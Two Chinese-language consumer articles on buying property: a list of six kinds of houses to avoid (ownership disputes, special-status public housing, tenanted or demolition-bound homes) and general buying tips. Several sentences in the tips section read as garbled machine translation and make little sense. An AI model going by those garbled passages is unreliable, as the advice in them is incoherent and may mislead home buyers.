这6类房子千万不要买，买了就再也卖不出去了！

买房套路深，买二手房套路更深!现在黑心的房产商和黑心的卖家真的很多，一不留心你可能就会买到问题房，到时候想转手就难了!下面跟小编一起看看，以下这几类房子千万不要买：1.该房屋或邻居房屋出现过血腥事件的房子比方说出现过自杀、谋杀等情况的房子，不管是邻居还是同一栋楼，都不要去买，买之前搜查一些新闻，或者和同小区的人打听打听，不要贪便宜。2.有特殊性质的房屋特殊性质指的是：某些政府机关的公房，军产(用于军队人员居住)、院产(医院的房子)、校产(学校的公房)等等。通常，这些房子有剩余，会向社会出售，虽然便宜，但是建议大家不要买，这类房子国家规定不能作为商品房上市交易，所以买了很难再出手。3.以标准价购买，尚未按成本价补足剩余价款的房子这个指的是房子是单位卖给职工的，但是职工如果是以标准价购买的话，就没有全部产权，还有部分产权在单位，如果是成本价购买的才有全部产权，这类房子一定要问清楚，建议不要去买。4.所有权有纠纷的这种房子很常见，共有财产分割，财产继承什么的，还有房屋被抵押，都是房产纠纷频发的房子类型，这类房子就算房东再怎么降价也不要去买，以免自己卷入财产纠纷，共有产权人一定要都同意才可以买卖。5.房屋已经出租他人，租期还没有到的房子这类房子也别买，就算人家再怎么说租客很快回来，租客不会再来了什么的，都不要理会，以免出现侵害租客权益产生纠纷，波及到自己。6.被列入拆迁规划的房子房子出现了问题，想转手，很多卖家为了钱就不顾其他人的利益，想尽办法骗买家购买，这些问题防不胜防，我们只有自己小心谨慎才可以避免。以上就是小编介绍的六类房子，千万不要买，买了就再也卖不出去了，希望能帮到你。

购房技巧有哪些以及怎样去选购房子

买房子是一件非常令人筋疲力尽的事情，每个买家的经历都可以写成一个故事，可以说一百个人心中有一百个不同的看法，对于那些没有买房经验的人来说，要掌握一些购房技巧为好。那么，购房技巧有哪些？怎样去选购房子？一、购房技巧：1、购房技巧——好位置。购房技巧：无论您是生活还是投资，您应该做的第一件事就是查看位置。一个好位置对房地产来说太重要了。2、购房技巧——开发商的实力。购房技巧：开发商的资本削减导致执行事件，这在房地产行业并不罕见，因此开发商在选择建筑物时的声誉和实力非常重要，值得向开发商购买。知名开发商，无论他们是建立优质的内部服务还是社区服务。3、购房技巧——不要买偏僻的房子。购房技巧：最好不要选择太偏僻的位置。一般而言，远程位置的财产属于“您只需要的房间”。最好不要在舒适的住所或上一期的认可空间购买。往返远程建筑物的时间成本也非常大，以后换房时会相对成问题。4、购房技巧——选多个开发商都抢的地区。购房技巧：如果一个批次中只有一个开发商，那么这个区域不应该太好，如果多个品牌的开发商在同一个位置，那么该区域的未来发展空间应该更好，并且多个属性的积累应该产生一个虹吸效应。这里有更多的空间供您欣赏。5、购房技巧——买中型及以上的楼盘。购房技巧：房地产的规模太小，内部支持设施肯定不完整。整个住宅区的生活质量不会太高。因此，在选择房地产时，应尽可能选择大型房地产，并相应改善其公共设施和配套设施。​二、怎样去选购房子？1、交通。交通是我们应该考虑的因素。因为无论您是单独驾车还是乘坐公共交通工具，都应该考虑交通的便利性。2、配套。周围的设施一定要完整。例如，上班族，你只需要找到一个地方买点菜，或者直接有一个饭馆解决吃饭问题。可能没有必要使用综合商业购物中心；对于老人的家庭可以更方便的医院或附近的一个休闲公园，比商场还要重要。3、楼层。买家应根据其构成和家庭喜好选择地板。年轻人喜欢摩天大楼，但老人和孩子不应该选择过高。另外，经济形势不容忽视，楼层越高，价格越贵。4、类型。首先公寓是不是方形的，其次，功能分区是否合理，面向南方的房子是第一个选择，其次是东南，再次是西南方向，最后一个朝向北方。5、品质。房子的质量无疑是最基本的要求。房子的检查过程中，你也可以多留意墙壁，角落，天花板，插头和项目的其他部分的质量。6、物业。该物业是业主的管家，良好的性能可以让人感到舒适与宁静和舒适，可以参考下物业公司。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();